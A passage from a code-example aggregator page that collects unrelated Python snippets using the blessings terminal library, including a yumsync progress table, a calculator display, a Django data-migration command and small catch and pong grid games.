        """ Calculate and return elapsed time.

        This function does dumb rounding by just plucking off anything past a
        dot "." in a time delta between two datetime.datetime()'s.
        """
        return str(datetime.datetime.now() - self.start).split('.')[0]

    def format_header(self):
        repos = self.repos.keys()
        max_repo = len(max(repos, key=len))

        repo = '{:<{}s}'.format('Repository', max_repo)
        done = '{:>5s}'.format('Done')
        total = '{:>5s}'.format('Total')
        complete = 'Packages'
        metadata = 'Metadata'
        header_str = '{}  {}/{}  {}  {}'.format(repo, done, total, complete,
                                                metadata)

        return header_str, len(repo), len(done), len(total), len(
            complete), len(metadata)

    @classmethod
    def format_line(cls, reponame, package_counts, percent, repomd):
        """ Return a string formatted for output.

        Since there is a common column layout in the progress indicator, we can
        we can implement the printf-style formatter in a function.
        """
        return '{}  {}  {}  {}'.format(reponame, package_counts, percent,
                                       repomd)

    def represent_repo_pkgs(self, repo_id, a, b):
        """ Format the ratio of packages in a repository. """
        numpkgs = self.repos[repo_id]['numpkgs']
        dlpkgs = self.repos[repo_id]['dlpkgs']
        return self.represent_pkgs(dlpkgs, numpkgs, a, b)

    def represent_total_pkgs(self, a, b):
        """ Format the total number of packages in all repositories. """
        numpkgs = self.totals['numpkgs']
        dlpkgs = self.totals['dlpkgs']
        return self.represent_pkgs(dlpkgs, numpkgs, a, b)

    @classmethod
    def represent_pkgs(cls, dlpkgs, numpkgs, a, b):
        """ Represent a package ratio.

        This will display nothing if the number of packages is 0 or unknown, or
        typical done/total if total is > 0.
        """
        if numpkgs == 0:
            return '{:^{}s}'.format('-', a + b + 1)
        else:
            return '{0:>{2}}/{1:<{3}}'.format(dlpkgs, numpkgs, a, b)

    def represent_repo_percent(self, repo_id, length):
        """ Display the percentage of packages downloaded in a repository. """
        numpkgs = self.repos[repo_id]['numpkgs']
        dlpkgs = self.repos[repo_id]['dlpkgs']
        return self.represent_percent(dlpkgs, numpkgs, length)

    def represent_total_percent(self, length):
        """ Display the overall percentage of downloaded packages. """
        numpkgs = self.totals['numpkgs']
        dlpkgs = self.totals['dlpkgs']
        return self.represent_percent(dlpkgs, numpkgs, length)

    def represent_total_metadata_percent(self, length):
        """ Display the overall percentage of metadata completion. """
        a = self.totals['md_total']
        b = self.totals['md_complete']
        return self.represent_percent(b, a, length)

    def represent_percent(self, dlpkgs, numpkgs, length):
        """ Display a percentage of completion.

        If the number of packages is unknown, nothing is displayed. Otherwise,
        a number followed by the percent sign is displayed.
        """
        if dlpkgs == 0:
            return '{:^{}s}'.format('-', length)
        else:
            return '{:^{}s}'.format(self.pct(dlpkgs, numpkgs), length)

    def represent_repomd(self, repo_id, length):
        """ Display the current status of repository metadata. """
        if not self.repos[repo_id]['repomd']:
            return '{:^{}s}'.format('-', length)
        else:
            return self.repos[repo_id]['repomd']

    def represent_repo(self, repo_id, h1, h2, h3, h4, h5):
        """ Represent an entire repository in one line.

        This makes calls to the other methods of this class to create a
        formatted string, which makes nice columns.
        """

        repo = '{:<{}s}'.format(repo_id, h1)

        if 'error' in self.repos[repo_id]:
            repo = self.color(repo, 'red')
        else:
            repo = self.color(repo, 'blue')

        packages = self.represent_repo_pkgs(repo_id, h2, h3)
        percent = self.represent_repo_percent(repo_id, h4)
        metadata = self.represent_repomd(repo_id, h5)
        if percent == 'complete':
            percent = self.color(percent, 'green')
        if metadata == 'building' or (
            (isinstance(metadata, int) or metadata.isdigit())
                and int(metadata) <= 100):
            if isinstance(metadata, str) and metadata.isdigit():
                metadata += "%"
            if isinstance(metadata, int):
                metadata = "{}%".format(metadata)
            metadata = self.color(metadata, 'yellow')
        elif metadata == 'complete':
            metadata = self.color(metadata, 'green')
        return self.format_line(repo, packages, percent, metadata)

    def represent_total(self, h1, h2, h3, h4, h5):
        total = self.color('{:>{}s}'.format('Total', h1), 'yellow')
        packages = self.represent_total_pkgs(h2, h3)
        percent = self.represent_total_percent(h4)
        metadata = self.represent_total_metadata_percent(h5)
        if percent == 'complete':
            percent = self.color(percent, 'green')
        if metadata == 'complete':
            metadata = self.color(metadata, 'green')

        return self.format_line(total, packages, percent, metadata)

    def emit(self, line=''):
        numlines = len(line.split('\n'))
        self.linecount += numlines
        with self.term.location(x=0, y=self.linecount - numlines):
            sys.stdout.write(line)
            sys.stdout.write(self.term.clear_eol())

    def formatted(self):
        """ Print all known progress data in a nicely formatted table.

        This method keeps track of what it has printed before, so that it can
        backtrack over the console screen, clearing out the previous flush and
        printing out a new one. This method is called any time any value is
        updated, which is what gives us that real-time feeling.

        Unfortunately, the YUM library calls print directly rather than just
        throwing exceptions and handling them in the presentation layer, so
        this means that yumsync's output will be slightly flawed if YUM prints
        something directly to the screen from a worker process.
        """

        # Remove repos with errors from totals
        if self.totals['errors'] > 0:
            for repo_id, error in self.errors:
                if repo_id in self.repos:
                    if not 'error' in self.repos[repo_id]:
                        self.totals['dlpkgs'] -= self.repos[repo_id]['dlpkgs']
                        self.totals['numpkgs'] -= self.repos[repo_id][
                            'numpkgs']
                        self.repos[repo_id]['error'] = True

        self.linecount = 0  # reset line counter
        header, h1, h2, h3, h4, h5 = self.format_header()
        self.emit('-' * len(header))
        self.emit(self.color('{}'.format(header), 'green'))
        self.emit('-' * len(header))

        error_repos = []
        complete_repos = []
        metadata_repos = []
        other_repos = []

        for repo_id in sorted(self.repos):
            if 'error' in self.repos[repo_id]:
                error_repos.append(repo_id)
            elif self.repos[repo_id]['repomd'] == 'complete':
                complete_repos.append(repo_id)
            elif self.repos[repo_id]['repomd']:
                metadata_repos.append(repo_id)
            else:
                other_repos.append(repo_id)

        for repo_id in sorted(self.repos):
            self.emit(self.represent_repo(repo_id, h1, h2, h3, h4, h5))

        self.emit('-' * len(header))
        self.emit(self.represent_total(h1, h2, h3, h4, h5))
        self.emit('-' * len(header))

        # Append errors to output if any found.
        if self.totals['errors'] > 0:
            self.emit(
                self.color('Errors ({}):'.format(self.totals['errors']),
                           'red'))
            for repo_id, error in self.errors:
                self.emit(self.color('{}: {}'.format(repo_id, error), 'red'))

        with self.term.location(x=0, y=self.linecount):
            sys.stdout.write(self.term.clear_eos())

        sys.stdout.flush()
Exemplo n.º 38
0
class CalculonDisplay (object):
    def __init__(self):
        self.term = Terminal()
        print(self.term.enter_fullscreen())

        # parse config
        self.config = self.init_config(CONFIG)
        self.bin_mode = self.config['bin_mode']
        self.cur_bin_mode = None
        self.bits = self.config['bits']
        self.formats = self.config['formats']
        self.align = self.config['align']
        self.padding = self.config['padding']
        self.attrs = self.config['attrs']

        self.header = 'calculon v1.0'
        self.show_header = True

        # Watched variables
        self.lastval = 0

        # Watched expressions
        self.exprs = []

        self.draw_state = {
            'header': True, 'value': True, 'vallabel': True, 'binlabel': True,
            'varlabel': True, 'varvalue': True, 'exprlabel': True, 'exprvalue': True,
            'all': True
        }

        # set initial value
        self.update_value(0)

    def init_config(self, config):
        # update text attributes
        for sec in config['attrs']:
            config['attrs'][sec] = ''.join(['{t.' + x + '}' for x in config['attrs'][sec]])

        return config

    def set_win(self, win, repl_win):
        self.win = win
        self.repl_win = repl_win
        self.update_value(0)
        self.redraw()

    def update_bin_mode(self):
        # detect bin display mode
        old_mode = self.cur_bin_mode
        if self.bin_mode == "auto":
            self.cur_bin_mode = "wide" if self.term.width >= BIN_MODE_WIDTH_WIDE else "narrow"
        if self.cur_bin_mode != old_mode:
            self.draw_state['all'] = True

        # round up bits to nearest row
        self.bin_row = BIN_MODE_ROW_NARROW if self.cur_bin_mode == "narrow" else BIN_MODE_ROW_WIDE
        if self.bits % self.bin_row > 0:
            self.bits += self.bin_row - (self.bits % self.bin_row)

    def update_value(self, value):
        self.lastval = value
        self.draw_state['value'] = True
        self.redraw()

    def set_exprs(self, values):
        self.exprs = values
        self.draw_state['exprvalue'] = True
        self.draw_state['exprlabel'] = True
        self.redraw()

    def redraw(self, all=False):
        self.update_bin_mode()
        if all:
            self.draw_state['all'] = True
        if self.draw_state['all']:
            print(self.term.clear())
        if self.draw_state['header'] or self.draw_state['all']:
            self.draw_header()
            self.draw_state['header'] = False
        if self.draw_state['value'] or self.draw_state['all']:
            self.clear_value()
            self.draw_value()
            self.draw_binary()
            self.draw_state['value'] = False
        if self.draw_state['vallabel'] or self.draw_state['all']:
            self.draw_value_labels()
            self.draw_binary_labels()
            self.draw_state['vallabel'] = False
        if self.draw_state['exprlabel'] or self.draw_state['all']:
            self.draw_expr_labels()
            self.draw_state['exprlabel'] = False
        if self.draw_state['exprvalue'] or self.draw_state['all']:
            self.clear_exprs()
            self.draw_exprs()
            self.draw_expr_labels()
            self.draw_state['exprvalue'] = False
        self.draw_state['all'] = False

    def get_value_formats(self):
        return filter(lambda x: x in VALID_FORMATS and x != 'b', self.formats)

    def num_rows(self):
        return self.offset_exprs() + self.num_rows_exprs() + self.padding['bottom']

    def num_cols(self):
        if self.cur_bin_mode == "wide":
            c = BIN_MODE_WIDTH_WIDE + self.padding['left'] + self.padding['right']
        else:
            c = BIN_MODE_WIDTH_NARROW + self.padding['left'] + self.padding['right']
        return c

    def num_rows_val(self):
        return len(self.get_value_formats())

    def num_rows_bin(self):
        return self.bits / self.bin_row + self.padding['bintop'] + self.padding['binbottom']

    def num_rows_exprs(self):
        n = len(self.exprs)
        if n > 0:
            n += self.padding['vartop'] + self.padding['varbottom']
        return n

    def offset_val(self):
        return self.padding['top']

    def offset_bin(self):
        return self.offset_val() + self.num_rows_val()

    def offset_exprs(self):
        return self.offset_bin() + self.num_rows_bin()

    def draw_str(self, str, attr='', x=0, y=0):
        print((self.term.normal + self.term.move(y, x) + attr + str).format(t=self.term))

    def draw_header(self):
        if self.show_header:
            head = self.header + ' ' * (self.term.width - len(self.header))
            self.draw_str(head, self.attrs['header'])

    def clear_value(self, varname=None):
        y = self.padding['top']
        for fmt in self.get_value_formats():
            w = self.num_cols() - self.padding['left'] - len(' ' + fmt) - self.padding['right'] - self.padding['label']*2
            x = self.padding['left'] + len(' ' + fmt)
            if varname:
                w -= len(varname)
                if self.align == 'right':
                    x += len(varname)
            self.draw_str(' '*w, '', x, y)
            y += 1

    def draw_value(self, varname=None):
        y = self.padding['top']
        for fmt in self.get_value_formats():
            self.draw_value_at_row(self.lastval, fmt, y)
            y += 1

    def draw_value_at_row(self, value, fmt, row, label=None):
        fmtd = ''
        if fmt in ['h', 'd', 'o']:
            fmtd = BASE_FMT[fmt].format(value)
            attr = self.attrs[fmt + 'val']
        elif fmt == 'a':
            s = ('{0:0=%dX}' % (self.bits/4)).format(value)
            a = [chr(int(s[i:i+2],16)) for i in range(0, len(s), 2)]
            for c in a:
                if c not in string.printable or c == '\n':
                    fmtd += '.'
                else:
                    fmtd += c
                    if c in (r'{', r'}'):
                        fmtd += c
            attr = self.attrs['aval']
        elif fmt == 'u':
            # s = ('{0:0=%dX}' % (self.bits/4)).format(value)
            # a = [(chr(int(s[i:i+2],16)) + chr(int(s[i+2:i+4],16))).decode('utf-16') for i in range(0, len(s), 4)]
            attr = self.attrs['uval']
        if self.align == 'right':
            col = self.num_cols() - self.padding['right'] - self.padding['label'] - len(fmtd) - 2
            self.draw_str(fmtd, attr, col, row)
        elif self.align == 'left':
            col = self.padding['left'] + len(' ' + fmt) + self.padding['label']
            self.draw_str(fmtd, attr, col, row)

    def draw_value_labels(self):
        y = self.padding['top']
        for fmt in self.get_value_formats():
            self.draw_labels_at_row(fmt, y)
            y += 1

    def draw_labels_at_row(self, fmt, row, label=None):
        if self.align == 'right':
            col = self.num_cols() - self.padding['right'] - self.padding['label']
            self.draw_str(fmt, self.attrs['vallabel'], col, row)
            if label != None:
                self.draw_str(label, self.attrs['vallabel'], self.padding['left'], row)
        elif self.align == 'left':
            col = self.padding['left']
            self.draw_str(fmt, self.attrs['vallabel'], col, row)
            if label != None:
                self.draw_str(label, self.attrs['vallabel'], self.num_cols() - self.padding['right'] - len(label), row)

    def draw_binary(self):
        s = (BASE_FMT['b'] % self.bits).format(self.lastval)
        if len(s) > self.bits:
            s = s[len(s)-self.bits:]
        y = len(self.get_value_formats()) + self.padding['top'] + self.padding['bintop']
        x = self.padding['left']
        p = 0
        if self.lastval >= 1<<self.bits:
            attr = self.attrs['err']
        else:
            attr = self.attrs['bval']
        for i in xrange(len(s)):
            if i != 0 and i % self.bin_row == 0:
                y += 1
                x = self.padding['left']
                p = 0
            elif i != 0 and i % 8 == 0:
                p += 3
            elif i != 0 and i % 4 == 0:
                p += 1
            x += 1
            self.draw_str(s[i], attr, x*2+p, y)

    def draw_binary_labels(self):
        rows = range(self.bits / self.bin_row)
        y = self.offset_bin() + self.padding['bintop'] + len(rows) - 1
        for i in rows:
            right = str(i * self.bin_row)
            left = str((i+1) * self.bin_row - 1)
            self.draw_str(left, self.attrs['binlabel'], self.padding['left'], y)
            self.draw_str(right, self.attrs['binlabel'], self.num_cols() - self.padding['right'] - 2, y)
            y -= 1

    def clear_exprs(self):
        y = self.offset_exprs() + self.padding['vartop']
        for idx, (value, fmt, label) in enumerate(self.exprs):
            self.draw_str(' ' * self.num_cols(), '', 0, y)

    def draw_exprs(self):
        y = self.offset_exprs() + self.padding['vartop']
        x = self.padding['left']
        for idx, (value, fmt, label) in enumerate(self.exprs):
            self.draw_value_at_row(value, fmt, y + idx, label)

    def draw_expr_labels(self):
        top = self.offset_exprs() + self.padding['vartop']
        for idx, (value, fmt, label) in enumerate(self.exprs):
            y = top + idx
            if self.align == 'left':
                self.draw_str(fmt, self.attrs['exprlabel'], self.padding['left'], y)
                self.draw_str(str(idx), self.attrs['exprlabel'], self.num_cols() - self.padding['right'] - 2, y)
                self.draw_str(label, self.attrs['expr'], self.num_cols() - self.padding['right'] - 2 - self.padding['label'] - len(label), y)
            else:
                self.draw_str(fmt, self.attrs['exprlabel'], self.num_cols() - self.padding['right'] - 2, y)
                self.draw_str(str(idx), self.attrs['exprlabel'], self.padding['left'], y)
                self.draw_str(label, self.attrs['expr'], self.padding['left'] + 2 + self.padding['label'], y)
Exemplo n.º 39
0
    def handle(self, *args, **options):
        from django.db.models import get_model
        from django.db import reset_queries
        reset_queries()
        term = Terminal(stream=self.stdout)
        print(term.clear())
        self.verbosity = int(options.get('verbosity'))

        if settings.DEBUG:
            self.stderr.write("Django is in debug mode, which causes memory leak. "
                              "Set settings.DEBUG to False and run again.")
            return

        target_database = options.get('targetDatabase')
        if not target_database:
            if self.verbosity >= 1:
                self.stderr.write("No target database given")
            return

        source_database = options.get('sourceDatabase')
        if not source_database:
            if self.verbosity >= 1:
                self.stderr.write("No source database given")
            return

        self.concurrency_model = options.get('concurrencyModel')
        self.n_jobs = int(options.get('numberOfJobs', 0))

        source_model_name = options.get('sourceModelName')
        if not source_model_name:
            if self.verbosity >= 1:
                self.stderr.write("No source model name given")
            return

        source_model = get_model(self.app_name, source_model_name)
        if not source_model:
            if self.verbosity >= 1:
                self.stderr.write("No model named {0} defined for {1} application"
                                  .format(source_model_name, self.app_name))
            return

        target_model_name = options.get('targetModelName')
        if not target_model_name:
            if self.verbosity >= 1:
                self.stderr.write("No target model name given")
            return

        target_model = get_model(self.app_name, target_model_name)
        if not target_model:
            if self.verbosity >= 1:
                self.stderr.write("No model named {0} defined for {1} application"
                                  .format(target_model_name, self.app_name))
            return

        if self.verbosity >= 2:
            self.stdout.write("Populating model {0} from database {1} with data taken from model {2} from database {3}"
                              .format(target_model_name, target_database, source_model_name, source_database))

        size = int(options.get('chunk_size'))
        limit = int(options.get('limit'))
        offset = int(options.get('offset'))

        inchi_conversion = options.get('inchiConversion')
        if not inchi_conversion:
            if self.verbosity >= 1:
                self.stderr.write("No inchi conversion method given")
            return

        self.dispatch(target_model_name, target_database, source_model_name, source_database,
                      size, limit, offset, inchi_conversion)

        if self.verbosity >= 2:
            self.stdout.write("Finished populating model {0}".format(target_model_name))
            self.stdout.write("{0} records out of {1} has been successfully populated"
                              .format(self.total_success, self.records_to_be_populated))
            self.stdout.write("{0} records out of {1} has failed to populate"
                              .format(self.total_failure, self.records_to_be_populated))
            self.stdout.write("{0} records out of {1} were empty (no inchi key)"
                              .format(self.total_empty, self.records_to_be_populated))
            self.stdout.write("{0} records out of {1} were ignored (blacklisted)"
                          .format(self.total_ignored, self.records_to_be_populated))
Exemplo n.º 40
0
class screenOutput(_OutputModule):
    def __init__(self, parent, name):
        _OutputModule.__init__(self, parent, name)
        self.logger = logging.getLogger()
        self.timerSet = False
        self.windows = {}
        self.logger.debug("Initialising Blessings")
        self.terminal = Terminal()

    def run(self):
        print(self.terminal.enter_fullscreen() + self.terminal.clear())

        # Iterate through config and print any staticText entries
        # In config-speak we're using 'area' to mean a curses 'window' as we'll never need a scrolling area
        with self.terminal.location():
            for areaName, area in self.myConfig["settings"]["areas"].items():
                s = None
                if "staticText" in area.keys():
                    s = area["staticText"][:self.terminal.width - 1]
                elif "specialText" in area.keys():
                    s = config()[area["specialText"]][:self.terminal.width - 1]
                self.__updateArea(s, area)

        while self.running:
            if self.timerSet and time.time() > self.timerTarget:
                self.timerFunction(self.timerText, self.timerArea)
                self.timerSet = False
            time.sleep(0.001)

        print(self.terminal.exit_fullscreen())

    def performAction(self, args):
        #self.logger.debug("performAction called with args {}".format(args))
        if "area" in args.keys():
            # We're expected to update a text area with new text
            if args["area"] in self.myConfig["settings"]["areas"]:
                area = self.myConfig["settings"]["areas"][args["area"]]
                if "text" in args.keys():
                    with self.terminal.location():
                        self.__updateArea(args["text"], area)
                else:
                    self.logger.warn(
                        "Area specified with no text\n{}".format(args))
            else:
                self.logger.warn("Area not found\n{}".format(args))
        elif "toast" in args.keys():
            area = self.myConfig["settings"]["toast"]["area"]
            if area in self.myConfig["settings"]["areas"]:
                self.__updateArea(args["toast"],
                                  self.myConfig["settings"]["areas"][area])
                self.__startClearTimer(
                    self.myConfig["settings"]["toast"]["duration"], "",
                    self.myConfig["settings"]["areas"][area])
            else:
                self.logger.warn("Area not found\n{}".format(area))

    def __updateArea(self, text, area):
        colourFunction = self.__dummyColourFunction
        x = area["x"] if "x" in area else 0
        if "useSymbol" in area.keys():
            text = self.myConfig["settings"]["symbols"][
                text] if text in self.myConfig["settings"]["symbols"] else "?"
        if text:
            if "align" in area.keys():
                if area["align"] in ["center", "centre"]:
                    text = text.center(
                        self.terminal.width)[:self.terminal.width]
                elif area["align"] == "right":
                    text = text.rjust(
                        self.terminal.width)[:self.terminal.width]
                else:
                    text = text.ljust(
                        self.terminal.width)[:self.terminal.width]
            if "colourFunction" in area.keys():
                try:
                    colourFunction = getattr(self.terminal,
                                             area["colourFunction"])
                except Exception:
                    self.logger.warn("Colour function not found: {}",
                                     area["colourFunction"])
            print(
                self.terminal.move(area["y"], x) + self.terminal.clear_eol +
                colourFunction(text))

    def __startClearTimer(self, duration, text, area):
        self.timerTarget = time.time() + duration
        self.timerSet = True
        self.timerText = text
        self.timerArea = area
        self.timerFunction = self.__clearTimer

    def __clearTimer(self, text, area):
        with self.terminal.location():
            print(
                self.terminal.move(area["y"], area["x"]) +
                self.terminal.clear_eol + text)

    def __dummyColourFunction(self, string):
        return string
Exemplo n.º 41
0
    print(t.cyan_bold("Good "+ tod() +"."))
    say("Good "+tod())
# sleep(2)
with t.location(20, 20):
    t.clear
    print(t.cyan_bold("How are you feeling today?"))
# os.system("say \"How are you feeling today?\"")
    say("How are you feeling today?")
with t.location(20, 21):

    feel = input()
    
    
with t.location(20, 20):
    
    t.clear() 
    
    print(t.cyan_bold("I am glad you are feeling "+feel+"."))
    say("I am glad that you are feeling "+ feel)
with t.location(20, 20):

    t.clear() 
    print(t.cyan_bold("What will you do on this machine?"))
    say("What will you do on this machine?")
with t.location(20, 21):

    task = input()
with t.location(20, 20):
    t.clear() 
    print(t.cyan_bold("Why will you "+ task +"?"))
    say("Why will you "+task)
Exemplo n.º 42
0
#!/usr/bin/env python3
from blessings import Terminal
t = Terminal()
print(t.clear())
print(t.bold('Hi there!'))
print(t.move_down)
print(t.bold_red_on_bright_green('It hurts my eyes!'))
print(t.move_down + t.bold_underline_black_on_yellow(
    'Look! a 1997 web page! No, the font would have to be blinking'))
print(t.move_down)
print(" Terminal width: ", t.width)
print(" Terminal height: ", t.height)
print(t.move_down + "A one-liner way to show terminal width and height",
      t.reverse, t.width, "by", t.height, " ")
with t.location(20, t.height - 1):
    print(t.reverse + t.blink('This is at thebottom and printed in REVERSE. '))
Exemplo n.º 43
0
class Game():
    def __init__(self, shape=(10, 10)):
        self.shape = shape
        self.height, self.width = shape
        self.last_row = self.height - 1
        self.paddle_padding = 1
        self.n_actions = 3  # left, stay, right
        self.term = Terminal()
        self.reset()

    def reset(self):
        # reset grid
        self.grid = np.zeros(self.shape)

        # can only move left or right (or stay)
        # so position is only its horizontal position (col)
        self.pos = np.random.randint(self.paddle_padding,
                                     self.width - 1 - self.paddle_padding)
        self.set_paddle(1)

        # item to catch
        self.target = (0, np.random.randint(self.width - 1))
        self.set_position(self.target, 1)

    def move(self, action):
        # clear previous paddle position
        self.set_paddle(0)

        # action is either -1, 0, 1,
        # but comes in as 0, 1, 2, so subtract 1
        action -= 1
        self.pos = min(max(self.pos + action, self.paddle_padding),
                       self.width - 1 - self.paddle_padding)

        # set new paddle position
        self.set_paddle(1)

    def set_paddle(self, val):
        for i in range(1 + self.paddle_padding * 2):
            pos = self.pos - self.paddle_padding + i
            self.set_position((self.last_row, pos), val)

    @property
    def state(self):
        return self.grid.reshape((1, -1)).copy()

    def set_position(self, pos, val):
        r, c = pos
        self.grid[r, c] = val

    def update(self):
        r, c = self.target

        self.set_position(self.target, 0)
        self.set_paddle(1)  # in case the target is on the paddle
        self.target = (r + 1, c)

        # off the map, it's gone
        if r == self.last_row:
            # reward of 1 if collided with paddle, else -1
            if abs(c - self.pos) <= self.paddle_padding:
                return 1
            else:
                return -1

        self.set_position(self.target, 1)

        return 0

    def render(self):
        print(self.term.clear())
        for r, row in enumerate(self.grid):
            for c, on in enumerate(row):
                if on:
                    color = 235
                else:
                    color = 229

                print(
                    self.term.move(r, c) + self.term.on_color(color) + ' ' +
                    self.term.normal)

        # move cursor to end
        print(self.term.move(self.height, 0))
Exemplo n.º 44
0
Arquivo: lib.py Projeto: frnsys/ml101
class Game():
    def __init__(self, shape=(10,10)):
        self.shape = shape
        self.height, self.width = shape
        self.last_row = self.height - 1
        self.paddle_padding = 1
        self.n_actions = 3 # left, stay, right
        self.term = Terminal()
        self.reset()

    def reset(self):
        # reset grid
        self.grid = np.zeros(self.shape)

        # can only move left or right (or stay)
        # so position is only its horizontal position (col)
        self.pos = np.random.randint(self.paddle_padding, self.width - 1 - self.paddle_padding)
        self.set_paddle(1)

        # item to catch
        self.target = (0, np.random.randint(self.width - 1))
        self.set_position(self.target, 1)

    def move(self, action):
        # clear previous paddle position
        self.set_paddle(0)

        # action is either -1, 0, 1,
        # but comes in as 0, 1, 2, so subtract 1
        action -= 1
        self.pos = min(max(self.pos + action, self.paddle_padding), self.width - 1 - self.paddle_padding)

        # set new paddle position
        self.set_paddle(1)

    def set_paddle(self, val):
        for i in range(1 + self.paddle_padding*2):
            pos = self.pos - self.paddle_padding + i
            self.set_position((self.last_row, pos), val)

    @property
    def state(self):
        return self.grid.reshape((1,-1)).copy()

    def set_position(self, pos, val):
        r, c = pos
        self.grid[r,c] = val

    def update(self):
        r, c = self.target

        self.set_position(self.target, 0)
        self.set_paddle(1) # in case the target is on the paddle
        self.target = (r+1, c)
        self.set_position(self.target, 1)

        # off the map, it's gone
        if r+1 == self.last_row:
            # reward of 1 if collided with paddle, else -1
            if abs(c - self.pos) <= self.paddle_padding:
                return 1
            else:
                return -1
        return 0

    def render(self):
        print(self.term.clear())
        for r, row in enumerate(self.grid):
            for c, on in enumerate(row):
                if on:
                    color = 235
                else:
                    color = 229

                print(self.term.move(r, c) + self.term.on_color(color) + ' ' + self.term.normal)

        # move cursor to end
        print(self.term.move(self.height, 0))
Exemplo n.º 45
0
class Game():
    def __init__(self, shape=(10, 40)):
        self.shape = shape
        self.height, self.width = shape
        self.last_col = self.width
        self.first_col = -2
        self.first_row = -1
        self.last_row = self.height
        self.paddle_padding = 1
        self.xspeed = 2
        self.yspeed = 1
        self.n_actions = 3  # left, stay, right
        self.term = Terminal()
        self.reset()

    def reset(self):
        # reset grid
        self.grid = np.zeros(self.shape)

        # can only move left or right (or stay)
        # so position is only its horizontal position (col)
        self.pos = np.random.randint(self.paddle_padding,
                                     self.height - 1 - self.paddle_padding)
        self.set_paddle(1)

        #y direc
        n = np.random.randint(1, 2)
        if n == 0:
            self.yspeed = 1
        if n == 1:
            self.yspeed = -1
        self.target = (5, 20)
        self.set_position(self.target, 1)

    def move(self, action):
        # clear previous paddle position
        self.set_paddle(0)

        # action is either -1, 0, 1,
        # but comes in as 0, 1, 2, so subtract 1
        action -= 1
        self.pos = min(max(self.pos + action, self.paddle_padding),
                       self.height - 1 - self.paddle_padding)

        # set new paddle position
        self.set_paddle(1)

    def set_paddle(self, val):
        for i in range(1 + self.paddle_padding * 2):
            pos = self.pos - self.paddle_padding + i
            self.set_position((pos, 0), val)

    def paddle_pt(self):
        return [self.pos, self.pos + 2]

    @property
    def state(self):
        return self.grid.reshape((1, -1)).copy()

    def set_position(self, pos, val):
        r, c = pos
        self.grid[r, c] = val

    #returns reward
    def update(self):
        #erase previous location
        r, c = self.target
        self.set_position(self.target, 0)
        [paddle_start, paddle_end] = self.paddle_pt()
        # collision
        #right side
        if c + self.xspeed >= self.last_col:
            self.xspeed = -self.xspeed
        #left side
        if c + self.xspeed <= self.first_col:
            if r + self.yspeed >= paddle_start and r + self.yspeed <= paddle_end:
                self.xspeed = -self.xspeed
                return 1
            return -1
        #top side
        if r + self.yspeed <= self.first_row:
            self.yspeed = -self.yspeed
        #bottom
        if r + self.yspeed >= self.last_row:
            self.yspeed = -self.yspeed
        #set new coordinates
        self.target = (r + self.yspeed, c + self.xspeed)
        self.set_position(self.target, 1)

        return 0

    def render(self):
        print(self.term.clear())
        for r, row in enumerate(self.grid):
            for c, on in enumerate(row):
                if on:
                    color = 255
                else:
                    color = 20

                print(
                    self.term.move(r, c) + self.term.on_color(color) + ' ' +
                    self.term.normal)

        # move cursor to end
        print(self.term.move(self.height, 0))